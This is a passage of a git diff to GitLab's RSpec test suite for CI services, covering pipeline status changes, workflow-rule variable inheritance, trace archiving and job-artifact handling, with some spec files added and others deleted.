- stub_feature_flags(abort_deleted_project_pipelines: false)
- end
-
- it 'does not abort the pipeline' do
- result = described_class.new.execute(project)
-
- expect(result).to be(nil)
- expect(pipeline.reload).to be_running
- expect(build.reload).to be_running
- end
- end
-end
diff --git a/spec/services/ci/after_requeue_job_service_spec.rb b/spec/services/ci/after_requeue_job_service_spec.rb
new file mode 100644
index 00000000000..a2147759dba
--- /dev/null
+++ b/spec/services/ci/after_requeue_job_service_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::AfterRequeueJobService do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { project.owner }
+
+ let(:pipeline) { create(:ci_pipeline, project: project) }
+
+ let!(:build) { create(:ci_build, pipeline: pipeline, stage_idx: 0) }
+ let!(:test1) { create(:ci_build, :success, pipeline: pipeline, stage_idx: 1) }
+ let!(:test2) { create(:ci_build, :skipped, pipeline: pipeline, stage_idx: 1) }
+
+ subject(:execute_service) { described_class.new(project, user).execute(build) }
+
+ it 'marks subsequent skipped jobs as processable' do
+ expect(test1.reload).to be_success
+ expect(test2.reload).to be_skipped
+
+ execute_service
+
+ expect(test1.reload).to be_success
+ expect(test2.reload).to be_created
+ end
+
+ context 'when the pipeline is a downstream pipeline and the bridge is depended' do
+ let!(:trigger_job) { create(:ci_bridge, :strategy_depend, status: 'success') }
+
+ before do
+ create(:ci_sources_pipeline, pipeline: pipeline, source_job: trigger_job)
+ end
+
+ it 'marks source bridge as pending' do
+ expect { execute_service }.to change { trigger_job.reload.status }.from('success').to('pending')
+ end
+ end
+end
diff --git a/spec/services/ci/archive_trace_service_spec.rb b/spec/services/ci/archive_trace_service_spec.rb
index 07ea314debc..a4f498f17c3 100644
--- a/spec/services/ci/archive_trace_service_spec.rb
+++ b/spec/services/ci/archive_trace_service_spec.rb
@@ -24,6 +24,52 @@ RSpec.describe Ci::ArchiveTraceService, '#execute' do
it 'does not create an archived trace' do
expect { subject }.not_to change { Ci::JobArtifact.trace.count }
end
+
+ context 'when live trace chunks still exist' do
+ before do
+ create(:ci_build_trace_chunk, build: job)
+ end
+
+ context 'when the feature flag `erase_traces_from_already_archived_jobs_when_archiving_again` is enabled' do
+ before do
+ stub_feature_flags(erase_traces_from_already_archived_jobs_when_archiving_again: true)
+ end
+
+ it 'removes the trace chunks' do
+ expect { subject }.to change { job.trace_chunks.count }.to(0)
+ end
+
+ context 'when associated data does not exist' do
+ before do
+ job.job_artifacts_trace.file.remove!
+ end
+
+ it 'removes the trace artifact' do
+ expect { subject }.to change { job.reload.job_artifacts_trace }.to(nil)
+ end
+ end
+ end
+
+ context 'when the feature flag `erase_traces_from_already_archived_jobs_when_archiving_again` is disabled' do
+ before do
+ stub_feature_flags(erase_traces_from_already_archived_jobs_when_archiving_again: false)
+ end
+
+ it 'does not remove the trace chunks' do
+ expect { subject }.not_to change { job.trace_chunks.count }
+ end
+
+ context 'when associated data does not exist' do
+ before do
+ job.job_artifacts_trace.file.remove!
+ end
+
+ it 'does not remove the trace artifact' do
+ expect { subject }.not_to change { job.reload.job_artifacts_trace }
+ end
+ end
+ end
+ end
end
context 'when job does not have trace' do
diff --git a/spec/services/ci/cancel_user_pipelines_service_spec.rb b/spec/services/ci/cancel_user_pipelines_service_spec.rb
deleted file mode 100644
index 8491242dfd5..00000000000
--- a/spec/services/ci/cancel_user_pipelines_service_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::CancelUserPipelinesService do
- describe '#execute' do
- let(:user) { create(:user) }
-
- subject { described_class.new.execute(user) }
-
- context 'when user has running CI pipelines' do
- let(:pipeline) { create(:ci_pipeline, :running, user: user) }
- let!(:build) { create(:ci_build, :running, pipeline: pipeline) }
-
- it 'cancels all running pipelines and related jobs', :sidekiq_might_not_need_inline do
- subject
-
- expect(pipeline.reload).to be_canceled
- expect(build.reload).to be_canceled
- end
- end
-
- context 'when an error ocurrs' do
- it 'raises a service level error' do
- service = double(execute: ServiceResponse.error(message: 'Error canceling pipeline'))
- allow(::Ci::CancelUserPipelinesService).to receive(:new).and_return(service)
-
- result = subject
-
- expect(result).to be_a(ServiceResponse)
- expect(result).to be_error
- end
- end
- end
-end
diff --git a/spec/services/ci/create_downstream_pipeline_service_spec.rb b/spec/services/ci/create_downstream_pipeline_service_spec.rb
index 860932d4fde..dd10fb017aa 100644
--- a/spec/services/ci/create_downstream_pipeline_service_spec.rb
+++ b/spec/services/ci/create_downstream_pipeline_service_spec.rb
@@ -112,7 +112,7 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute' do
it 'updates bridge status when downstream pipeline gets processed' do
pipeline = service.execute(bridge)
- expect(pipeline.reload).to be_pending
+ expect(pipeline.reload).to be_created
expect(bridge.reload).to be_success
end
@@ -227,7 +227,7 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute' do
it 'updates bridge status when downstream pipeline gets processed' do
pipeline = service.execute(bridge)
- expect(pipeline.reload).to be_pending
+ expect(pipeline.reload).to be_created
expect(bridge.reload).to be_success
end
diff --git a/spec/services/ci/create_job_artifacts_service_spec.rb b/spec/services/ci/create_job_artifacts_service_spec.rb
deleted file mode 100644
index 1efd1d390a2..00000000000
--- a/spec/services/ci/create_job_artifacts_service_spec.rb
+++ /dev/null
@@ -1,279 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::CreateJobArtifactsService do
- let_it_be(:project) { create(:project) }
- let(:service) { described_class.new(job) }
- let(:job) { create(:ci_build, project: project) }
- let(:artifacts_sha256) { '0' * 64 }
- let(:metadata_file) { nil }
-
- let(:artifacts_file) do
- file_to_upload('spec/fixtures/ci_build_artifacts.zip', sha256: artifacts_sha256)
- end
-
- let(:params) do
- {
- 'artifact_type' => 'archive',
- 'artifact_format' => 'zip'
- }.with_indifferent_access
- end
-
- def file_to_upload(path, params = {})
- upload = Tempfile.new('upload')
- FileUtils.copy(path, upload.path)
-
- UploadedFile.new(upload.path, **params)
- end
-
- def unique_metrics_report_uploaders
- Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(
- event_names: described_class::METRICS_REPORT_UPLOAD_EVENT_NAME,
- start_date: 2.weeks.ago,
- end_date: 2.weeks.from_now
- )
- end
-
- describe '#execute' do
- subject { service.execute(artifacts_file, params, metadata_file: metadata_file) }
-
- context 'when artifacts file is uploaded' do
- it 'saves artifact for the given type' do
- expect { subject }.to change { Ci::JobArtifact.count }.by(1)
-
- new_artifact = job.job_artifacts.last
- expect(new_artifact.project).to eq(job.project)
- expect(new_artifact.file).to be_present
- expect(new_artifact.file_type).to eq(params['artifact_type'])
- expect(new_artifact.file_format).to eq(params['artifact_format'])
- expect(new_artifact.file_sha256).to eq(artifacts_sha256)
- end
-
- it 'does not track the job user_id' do
- subject
-
- expect(unique_metrics_report_uploaders).to eq(0)
- end
-
- context 'when metadata file is also uploaded' do
- let(:metadata_file) do
- file_to_upload('spec/fixtures/ci_build_artifacts_metadata.gz', sha256: artifacts_sha256)
- end
-
- before do
- stub_application_setting(default_artifacts_expire_in: '1 day')
- end
-
- it 'saves metadata artifact' do
- expect { subject }.to change { Ci::JobArtifact.count }.by(2)
-
- new_artifact = job.job_artifacts.last
- expect(new_artifact.project).to eq(job.project)
- expect(new_artifact.file).to be_present
- expect(new_artifact.file_type).to eq('metadata')
- expect(new_artifact.file_format).to eq('gzip')
- expect(new_artifact.file_sha256).to eq(artifacts_sha256)
- end
-
- it 'sets expiration date according to application settings' do
- expected_expire_at = 1.day.from_now
-
- expect(subject).to match(a_hash_including(status: :success))
- archive_artifact, metadata_artifact = job.job_artifacts.last(2)
-
- expect(job.artifacts_expire_at).to be_within(1.minute).of(expected_expire_at)
- expect(archive_artifact.expire_at).to be_within(1.minute).of(expected_expire_at)
- expect(metadata_artifact.expire_at).to be_within(1.minute).of(expected_expire_at)
- end
-
- context 'when expire_in params is set to a specific value' do
- before do
- params.merge!('expire_in' => '2 hours')
- end
-
- it 'sets expiration date according to the parameter' do
- expected_expire_at = 2.hours.from_now
-
- expect(subject).to match(a_hash_including(status: :success))
- archive_artifact, metadata_artifact = job.job_artifacts.last(2)
-
- expect(job.artifacts_expire_at).to be_within(1.minute).of(expected_expire_at)
- expect(archive_artifact.expire_at).to be_within(1.minute).of(expected_expire_at)
- expect(metadata_artifact.expire_at).to be_within(1.minute).of(expected_expire_at)
- end
- end
-
- context 'when expire_in params is set to `never`' do
- before do
- params.merge!('expire_in' => 'never')
- end
-
- it 'sets expiration date according to the parameter' do
- expected_expire_at = nil
-
- expect(subject).to be_truthy
- archive_artifact, metadata_artifact = job.job_artifacts.last(2)
-
- expect(job.artifacts_expire_at).to eq(expected_expire_at)
- expect(archive_artifact.expire_at).to eq(expected_expire_at)
- expect(metadata_artifact.expire_at).to eq(expected_expire_at)
- end
- end
- end
- end
-
- context 'when artifacts file already exists' do
- let!(:existing_artifact) do
- create(:ci_job_artifact, :archive, file_sha256: existing_sha256, job: job)
- end
-
- context 'when sha256 of uploading artifact is the same of the existing one' do
- let(:existing_sha256) { artifacts_sha256 }
-
- it 'ignores the changes' do
- expect { subject }.not_to change { Ci::JobArtifact.count }
- expect(subject).to match(a_hash_including(status: :success))
- end
- end
-
- context 'when sha256 of uploading artifact is different than the existing one' do
- let(:existing_sha256) { '1' * 64 }
-
- it 'returns error status' do
- expect(Gitlab::ErrorTracking).to receive(:track_exception).and_call_original
-
- expect { subject }.not_to change { Ci::JobArtifact.count }
- expect(subject).to match(
- a_hash_including(http_status: :bad_request,
- message: 'another artifact of the same type already exists',
- status: :error))
- end
- end
- end
-
- context 'when artifact type is dotenv' do
- let(:artifacts_file) do
- file_to_upload('spec/fixtures/build.env.gz', sha256: artifacts_sha256)
- end
-
- let(:params) do
- {
- 'artifact_type' => 'dotenv',
- 'artifact_format' => 'gzip'
- }.with_indifferent_access
- end
-
- it 'calls parse service' do
- expect_any_instance_of(Ci::ParseDotenvArtifactService) do |service|
- expect(service).to receive(:execute).once.and_call_original
- end
-
- expect(subject[:status]).to eq(:success)
- expect(job.job_variables.as_json).to contain_exactly(
- hash_including('key' => 'KEY1', 'value' => 'VAR1', 'source' => 'dotenv'),
- hash_including('key' => 'KEY2', 'value' => 'VAR2', 'source' => 'dotenv'))
- end
-
- context 'when ci_synchronous_artifact_parsing feature flag is disabled' do
- before do
- stub_feature_flags(ci_synchronous_artifact_parsing: false)
- end
-
- it 'does not call parse service' do
- expect(Ci::ParseDotenvArtifactService).not_to receive(:new)
-
- expect(subject[:status]).to eq(:success)
- end
- end
- end
-
- context 'when artifact_type is metrics' do
- before do
- allow(job).to receive(:user_id).and_return(123)
- end
-
- let(:params) { { 'artifact_type' => 'metrics', 'artifact_format' => 'gzip' }.with_indifferent_access }
-
- it 'tracks the job user_id' do
- subject
-
- expect(unique_metrics_report_uploaders).to eq(1)
- end
- end
-
- context 'when artifact type is cluster_applications' do
- let(:artifacts_file) do
- file_to_upload('spec/fixtures/helm/helm_list_v2_prometheus_missing.json.gz', sha256: artifacts_sha256)
- end
-
- let(:params) do
- {
- 'artifact_type' => 'cluster_applications',
- 'artifact_format' => 'gzip'
- }.with_indifferent_access
- end
-
- it 'calls cluster applications parse service' do
- expect_next_instance_of(Clusters::ParseClusterApplicationsArtifactService) do |service|
- expect(service).to receive(:execute).once.and_call_original
- end
-
- subject
- end
-
- context 'when there is a deployment cluster' do
- let(:user) { project.owner }
-
- before do
- job.update!(user: user)
- end
-
- it 'calls cluster applications parse service with job and job user', :aggregate_failures do
- expect(Clusters::ParseClusterApplicationsArtifactService).to receive(:new).with(job, user).and_call_original
-
- subject
- end
- end
-
- context 'when ci_synchronous_artifact_parsing feature flag is disabled' do
- before do
- stub_feature_flags(ci_synchronous_artifact_parsing: false)
- end
-
- it 'does not call parse service' do
- expect(Clusters::ParseClusterApplicationsArtifactService).not_to receive(:new)
-
- expect(subject[:status]).to eq(:success)
- end
- end
- end
-
- shared_examples 'rescues object storage error' do |klass, message, expected_message|
- it "handles #{klass}" do
- allow_next_instance_of(JobArtifactUploader) do |uploader|
- allow(uploader).to receive(:store!).and_raise(klass, message)
- end
-
- expect(Gitlab::ErrorTracking)
- .to receive(:track_exception)
- .and_call_original
-
- expect(subject).to match(
- a_hash_including(
- http_status: :service_unavailable,
- message: expected_message || message,
- status: :error))
- end
- end
-
- it_behaves_like 'rescues object storage error',
- Errno::EIO, 'some/path', 'Input/output error - some/path'
-
- it_behaves_like 'rescues object storage error',
- Google::Apis::ServerError, 'Server error'
-
- it_behaves_like 'rescues object storage error',
- Signet::RemoteServerError, 'The service is currently unavailable'
- end
-end
diff --git a/spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb b/spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb
index 9cf66dfceb0..d4e9946ac46 100644
--- a/spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb
+++ b/spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb
@@ -40,6 +40,7 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
it 'creates bridge job with resource group' do
pipeline = create_pipeline!
+ Ci::InitialPipelineProcessWorker.new.perform(pipeline.id)
test = pipeline.statuses.find_by(name: 'instrumentation_test')
expect(pipeline).to be_created_successfully
diff --git a/spec/services/ci/create_pipeline_service/needs_spec.rb b/spec/services/ci/create_pipeline_service/needs_spec.rb
index a6b0a9662c9..4521067cd52 100644
--- a/spec/services/ci/create_pipeline_service/needs_spec.rb
+++ b/spec/services/ci/create_pipeline_service/needs_spec.rb
@@ -202,7 +202,7 @@ RSpec.describe Ci::CreatePipelineService do
YAML
end
- it 'creates a pipeline with build_a and test_b pending; deploy_b manual' do
+ it 'creates a pipeline with build_a and test_b pending; deploy_b manual', :sidekiq_inline do
processables = pipeline.processables
build_a = processables.find { |processable| processable.name == 'build_a' }
diff --git a/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb b/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb
index a3818937113..5ea75c2253b 100644
--- a/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb
+++ b/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb
@@ -91,6 +91,7 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
it 'creates bridge job with resource group', :aggregate_failures do
pipeline = create_pipeline!
+ Ci::InitialPipelineProcessWorker.new.perform(pipeline.id)
test = pipeline.statuses.find_by(name: 'instrumentation_test')
expect(pipeline).to be_created_successfully
diff --git a/spec/services/ci/create_pipeline_service/rules_spec.rb b/spec/services/ci/create_pipeline_service/rules_spec.rb
index e97e74c1515..33ec6aacc44 100644
--- a/spec/services/ci/create_pipeline_service/rules_spec.rb
+++ b/spec/services/ci/create_pipeline_service/rules_spec.rb
@@ -151,11 +151,29 @@ RSpec.describe Ci::CreatePipelineService do
context 'variables:' do
let(:config) do
<<-EOY
- job:
+ variables:
+ VAR4: workflow var 4
+ VAR5: workflow var 5
+ VAR7: workflow var 7
+
+ workflow:
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ variables:
+ VAR4: overridden workflow var 4
+ - if: $CI_COMMIT_REF_NAME =~ /feature/
+ variables:
+ VAR5: overridden workflow var 5
+ VAR6: new workflow var 6
+ VAR7: overridden workflow var 7
+ - when: always
+
+ job1:
script: "echo job1"
variables:
- VAR1: my var 1
- VAR2: my var 2
+ VAR1: job var 1
+ VAR2: job var 2
+ VAR5: job var 5
rules:
- if: $CI_COMMIT_REF_NAME =~ /master/
variables:
@@ -164,45 +182,117 @@ RSpec.describe Ci::CreatePipelineService do
variables:
VAR2: overridden var 2
VAR3: new var 3
+ VAR7: overridden var 7
+ - when: on_success
+
+ job2:
+ script: "echo job2"
+ inherit:
+ variables: [VAR4, VAR6, VAR7]
+ variables:
+ VAR4: job var 4
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ variables:
+ VAR7: overridden var 7
- when: on_success
EOY
end
- let(:job) { pipeline.builds.find_by(name: 'job') }
+ let(:job1) { pipeline.builds.find_by(name: 'job1') }
+ let(:job2) { pipeline.builds.find_by(name: 'job2') }
+
+ let(:variable_keys) { %w(VAR1 VAR2 VAR3 VAR4 VAR5 VAR6 VAR7) }
+
+ context 'when no match' do
+ let(:ref) { 'refs/heads/wip' }
+
+ it 'does not affect vars' do
+ expect(job1.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
+ ['job var 1', 'job var 2', nil, 'workflow var 4', 'job var 5', nil, 'workflow var 7']
+ )
+
+ expect(job2.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
+ [nil, nil, nil, 'job var 4', nil, nil, 'workflow var 7']
+ )
+ end
+ end
context 'when matching to the first rule' do
let(:ref) { 'refs/heads/master' }
- it 'overrides VAR1' do
- variables = job.scoped_variables.to_hash
+ it 'overrides variables' do
+ expect(job1.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
+ ['overridden var 1', 'job var 2', nil, 'overridden workflow var 4', 'job var 5', nil, 'workflow var 7']
+ )
- expect(variables['VAR1']).to eq('overridden var 1')
- expect(variables['VAR2']).to eq('my var 2')
- expect(variables['VAR3']).to be_nil
+ expect(job2.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
+ [nil, nil, nil, 'job var 4', nil, nil, 'overridden var 7']
+ )
+ end
+
+ context 'when FF ci_workflow_rules_variables is disabled' do
+ before do
+ stub_feature_flags(ci_workflow_rules_variables: false)
+ end
+
+ it 'does not affect workflow variables but job variables' do
+ expect(job1.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
+ ['overridden var 1', 'job var 2', nil, 'workflow var 4', 'job var 5', nil, 'workflow var 7']
+ )
+
+ expect(job2.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
+ [nil, nil, nil, 'job var 4', nil, nil, 'overridden var 7']
+ )
+ end
end
end
context 'when matching to the second rule' do
let(:ref) { 'refs/heads/feature' }
- it 'overrides VAR2 and adds VAR3' do
- variables = job.scoped_variables.to_hash
+ it 'overrides variables' do
+ expect(job1.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
+ ['job var 1', 'overridden var 2', 'new var 3', 'workflow var 4', 'job var 5', 'new workflow var 6', 'overridden var 7']
+ )
- expect(variables['VAR1']).to eq('my var 1')
- expect(variables['VAR2']).to eq('overridden var 2')
- expect(variables['VAR3']).to eq('new var 3')
+ expect(job2.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
+ [nil, nil, nil, 'job var 4', nil, 'new workflow var 6', 'overridden workflow var 7']
+ )
end
end
- context 'when no match' do
- let(:ref) { 'refs/heads/wip' }
+ context 'using calculated workflow var in job rules' do
+ let(:config) do
+ <<-EOY
+ variables:
+ VAR1: workflow var 4
+
+ workflow:
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ variables:
+ VAR1: overridden workflow var 4
+ - when: always
+
+ job:
+ script: "echo job1"
+ rules:
+ - if: $VAR1 =~ "overridden workflow var 4"
+ variables:
+ VAR1: overridden var 1
+ - when: on_success
+ EOY
+ end
- it 'does not affect vars' do
- variables = job.scoped_variables.to_hash
+ let(:job) { pipeline.builds.find_by(name: 'job') }
+
+ context 'when matching the first workflow condition' do
+ let(:ref) { 'refs/heads/master' }
- expect(variables['VAR1']).to eq('my var 1')
- expect(variables['VAR2']).to eq('my var 2')
- expect(variables['VAR3']).to be_nil
+ it 'uses VAR1 of job rules result' do
+ expect(job.scoped_variables.to_hash['VAR1']).to eq('overridden var 1')
+ end
end
end
end
@@ -230,8 +320,8 @@ RSpec.describe Ci::CreatePipelineService do
end
context 'matching the first rule in the list' do
- it 'saves a pending pipeline' do
- expect(pipeline).to be_pending
+ it 'saves a created pipeline' do
+ expect(pipeline).to be_created
expect(pipeline).to be_persisted
end
end
@@ -239,8 +329,8 @@ RSpec.describe Ci::CreatePipelineService do
context 'matching the last rule in the list' do
let(:ref) { 'refs/heads/feature' }
- it 'saves a pending pipeline' do
- expect(pipeline).to be_pending
+ it 'saves a created pipeline' do
+ expect(pipeline).to be_created
expect(pipeline).to be_persisted
end
end
@@ -280,8 +370,8 @@ RSpec.describe Ci::CreatePipelineService do
end
context 'matching the first rule in the list' do
- it 'saves a pending pipeline' do
- expect(pipeline).to be_pending
+ it 'saves a created pipeline' do
+ expect(pipeline).to be_created
expect(pipeline).to be_persisted
end
end
@@ -305,8 +395,8 @@ RSpec.describe Ci::CreatePipelineService do
context 'with partial match' do
let(:ref) { 'refs/heads/feature' }
- it 'saves a pending pipeline' do
- expect(pipeline).to be_pending
+ it 'saves a created pipeline' do
+ expect(pipeline).to be_created
expect(pipeline).to be_persisted
end
end
@@ -349,8 +439,8 @@ RSpec.describe Ci::CreatePipelineService do
context 'where workflow passes and the job passes' do
let(:ref) { 'refs/heads/feature' }
- it 'saves a pending pipeline' do
- expect(pipeline).to be_pending
+ it 'saves a created pipeline' do
+ expect(pipeline).to be_created
expect(pipeline).to be_persisted
end
end
diff --git a/spec/services/ci/create_pipeline_service_spec.rb b/spec/services/ci/create_pipeline_service_spec.rb
index 9fafc57a770..98c85234fe7 100644
--- a/spec/services/ci/create_pipeline_service_spec.rb
+++ b/spec/services/ci/create_pipeline_service_spec.rb
@@ -63,7 +63,7 @@ RSpec.describe Ci::CreatePipelineService do
expect(pipeline).to be_push
expect(pipeline).to eq(project.ci_pipelines.last)
expect(pipeline).to have_attributes(user: user)
- expect(pipeline).to have_attributes(status: 'pending')
+ expect(pipeline).to have_attributes(status: 'created')
expect(pipeline.iid).not_to be_nil
expect(pipeline.repository_source?).to be true
expect(pipeline.builds.first).to be_kind_of(Ci::Build)
@@ -71,19 +71,21 @@ RSpec.describe Ci::CreatePipelineService do
end
it 'increments the prometheus counter' do
- expect(Gitlab::Metrics).to receive(:counter)
- .with(:pipelines_created_total, "Counter of pipelines created")
- .and_call_original
- allow(Gitlab::Metrics).to receive(:counter).and_call_original # allow other counters
+ counter = spy('pipeline created counter')
+
+ allow(Gitlab::Ci::Pipeline::Metrics)
+ .to receive(:pipelines_created_counter).and_return(counter)
pipeline
+
+ expect(counter).to have_received(:increment)
end
it 'records pipeline size in a prometheus histogram' do
histogram = spy('pipeline size histogram')
allow(Gitlab::Ci::Pipeline::Metrics)
- .to receive(:new).and_return(histogram)
+ .to receive(:pipeline_size_histogram).and_return(histogram)
execute_service
@@ -253,7 +255,7 @@ RSpec.describe Ci::CreatePipelineService do
pipeline
pipeline_on_previous_commit
- expect(pipeline.reload).to have_attributes(status: 'pending', auto_canceled_by_id: nil)
+ expect(pipeline.reload).to have_attributes(status: 'created', auto_canceled_by_id: nil)
end
it 'auto cancel pending non-HEAD pipelines', :sidekiq_might_not_need_inline do
@@ -263,8 +265,8 @@ RSpec.describe Ci::CreatePipelineService do
expect(pipeline_on_previous_commit.reload).to have_attributes(status: 'canceled', auto_canceled_by_id: pipeline.id)
end
- it 'cancels running outdated pipelines', :sidekiq_might_not_need_inline do
- pipeline_on_previous_commit.run
+ it 'cancels running outdated pipelines', :sidekiq_inline do
+ pipeline_on_previous_commit.reload.run
head_pipeline = execute_service
expect(pipeline_on_previous_commit.reload).to have_attributes(status: 'canceled', auto_canceled_by_id: head_pipeline.id)
@@ -278,13 +280,13 @@ RSpec.describe Ci::CreatePipelineService do
end
it 'does not cancel pipelines from the other branches' do
- pending_pipeline = execute_service(
+ new_pipeline = execute_service(
ref: 'refs/heads/feature',
after: previous_commit_sha_from_ref('feature')
)
pipeline
- expect(pending_pipeline.reload).to have_attributes(status: 'pending', auto_canceled_by_id: nil)
+ expect(new_pipeline.reload).to have_attributes(status: 'created', auto_canceled_by_id: nil)
end
context 'when the interruptible attribute is' do
@@ -465,12 +467,12 @@ RSpec.describe Ci::CreatePipelineService do
project.update!(auto_cancel_pending_pipelines: 'disabled')
end
- it 'does not auto cancel pending non-HEAD pipelines' do
+ it 'does not auto cancel created non-HEAD pipelines' do
pipeline_on_previous_commit
pipeline
expect(pipeline_on_previous_commit.reload)
- .to have_attributes(status: 'pending', auto_canceled_by_id: nil)
+ .to have_attributes(status: 'created', auto_canceled_by_id: nil)
end
end
@@ -580,6 +582,13 @@ RSpec.describe Ci::CreatePipelineService do
it_behaves_like 'a failed pipeline'
+ it 'increments the error metric' do
+ stub_ci_pipeline_yaml_file(ci_yaml)
+
+ counter = Gitlab::Metrics.counter(:gitlab_ci_pipeline_failure_reasons, 'desc')
+ expect { execute_service }.to change { counter.get(reason: 'config_error') }.by(1)
+ end
+
context 'when receive git commit' do
before do
allow_any_instance_of(Ci::Pipeline).to receive(:git_commit_message) { message }
@@ -770,7 +779,7 @@ RSpec.describe Ci::CreatePipelineService do
stub_ci_pipeline_yaml_file(config)
end
- it 'does not create a new pipeline' do
+ it 'does not create a new pipeline', :sidekiq_inline do
result = execute_service
expect(result).to be_persisted
diff --git a/spec/services/ci/create_web_ide_terminal_service_spec.rb b/spec/services/ci/create_web_ide_terminal_service_spec.rb
index c1c94e30018..c1acf8fd60c 100644
--- a/spec/services/ci/create_web_ide_terminal_service_spec.rb
+++ b/spec/services/ci/create_web_ide_terminal_service_spec.rb
@@ -66,6 +66,25 @@ RSpec.describe Ci::CreateWebIdeTerminalService do
it_behaves_like 'be successful'
end
+
+ context 'for configuration with variables' do
+ let(:config_content) do
+ <<-EOS
+ terminal:
+ script: rspec
+ variables:
+ KEY1: VAL1
+ EOS
+ end
+
+ it_behaves_like 'be successful'
+
+ it 'saves the variables' do
+ expect(subject[:pipeline].builds[0].variables).to include(
+ key: 'KEY1', value: 'VAL1', public: true, masked: false
+ )
+ end
+ end
end
end
diff --git a/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb b/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb
deleted file mode 100644
index d315dd35632..00000000000
--- a/spec/services/ci/destroy_expired_job_artifacts_service_spec.rb
+++ /dev/null
@@ -1,252 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::DestroyExpiredJobArtifactsService, :clean_gitlab_redis_shared_state do
- include ExclusiveLeaseHelpers
-
- let(:service) { described_class.new }
-
- describe '.execute' do
- subject { service.execute }
-
- let_it_be(:artifact, refind: true) do
- create(:ci_job_artifact, expire_at: 1.day.ago)
- end
-
- before(:all) do
- artifact.job.pipeline.unlocked!
- end
-
- context 'when artifact is expired' do
- context 'with preloaded relationships' do
- before do
- job = create(:ci_build, pipeline: artifact.job.pipeline)
- create(:ci_job_artifact, :archive, :expired, job: job)
-
- stub_const('Ci::DestroyExpiredJobArtifactsService::LOOP_LIMIT', 1)
- end
-
- it 'performs the smallest number of queries for job_artifacts' do
- log = ActiveRecord::QueryRecorder.new { subject }
-
- # SELECT expired ci_job_artifacts - 3 queries from each_batch
- # PRELOAD projects, routes, project_statistics
- # BEGIN
- # INSERT into ci_deleted_objects
- # DELETE loaded ci_job_artifacts
- # DELETE security_findings -- for EE
- # COMMIT
- # SELECT next expired ci_job_artifacts
-
- expect(log.count).to be_within(1).of(11)
- end
- end
-
- context 'when artifact is not locked' do
- it 'deletes job artifact record' do
- expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
- end
-
- context 'when the artifact does not a file attached to it' do
- it 'does not create deleted objects' do
- expect(artifact.exists?).to be_falsy # sanity check
-
- expect { subject }.not_to change { Ci::DeletedObject.count }
- end
- end
-
- context 'when the artifact has a file attached to it' do
- before do
- artifact.file = fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts.zip'), 'application/zip')
- artifact.save!
- end
-
- it 'creates a deleted object' do
- expect { subject }.to change { Ci::DeletedObject.count }.by(1)
- end
-
- it 'resets project statistics' do
- expect(ProjectStatistics).to receive(:increment_statistic).once
- .with(artifact.project, :build_artifacts_size, -artifact.file.size)
- .and_call_original
-
- subject
- end
-
- it 'does not remove the files' do
- expect { subject }.not_to change { artifact.file.exists? }
- end
- end
- end
-
- context 'when artifact is locked' do
- before do
- artifact.job.pipeline.artifacts_locked!
- end
-
- it 'does not destroy job artifact' do
- expect { subject }.not_to change { Ci::JobArtifact.count }
- end
- end
- end
-
- context 'when artifact is not expired' do
- before do
- artifact.update_column(:expire_at, 1.day.since)
- end
-
- it 'does not destroy expired job artifacts' do
- expect { subject }.not_to change { Ci::JobArtifact.count }
- end
- end
-
- context 'when artifact is permanent' do
- before do
- artifact.update_column(:expire_at, nil)
- end
-
- it 'does not destroy expired job artifacts' do
- expect { subject }.not_to change { Ci::JobArtifact.count }
- end
- end
-
- context 'when failed to destroy artifact' do
- before do
- stub_const('Ci::DestroyExpiredJobArtifactsService::LOOP_LIMIT', 10)
- end
-
- context 'when the import fails' do
- before do
- expect(Ci::DeletedObject)
- .to receive(:bulk_import)
- .once
- .and_raise(ActiveRecord::RecordNotDestroyed)
- end
-
- it 'raises an exception and stop destroying' do
- expect { subject }.to raise_error(ActiveRecord::RecordNotDestroyed)
- .and not_change { Ci::JobArtifact.count }.from(1)
- end
- end
-
- context 'when the delete fails' do
- before do
- expect(Ci::JobArtifact)
- .to receive(:id_in)
- .once
- .and_raise(ActiveRecord::RecordNotDestroyed)
- end
-
- it 'raises an exception rolls back the insert' do
- expect { subject }.to raise_error(ActiveRecord::RecordNotDestroyed)
- .and not_change { Ci::DeletedObject.count }.from(0)
- end
- end
- end
-
- context 'when exclusive lease has already been taken by the other instance' do
- before do
- stub_exclusive_lease_taken(described_class::EXCLUSIVE_LOCK_KEY, timeout: described_class::LOCK_TIMEOUT)
- end
-
- it 'raises an error and does not start destroying' do
- expect { subject }.to raise_error(Gitlab::ExclusiveLeaseHelpers::FailedToObtainLockError)
- end
- end
-
- context 'when timeout happens' do
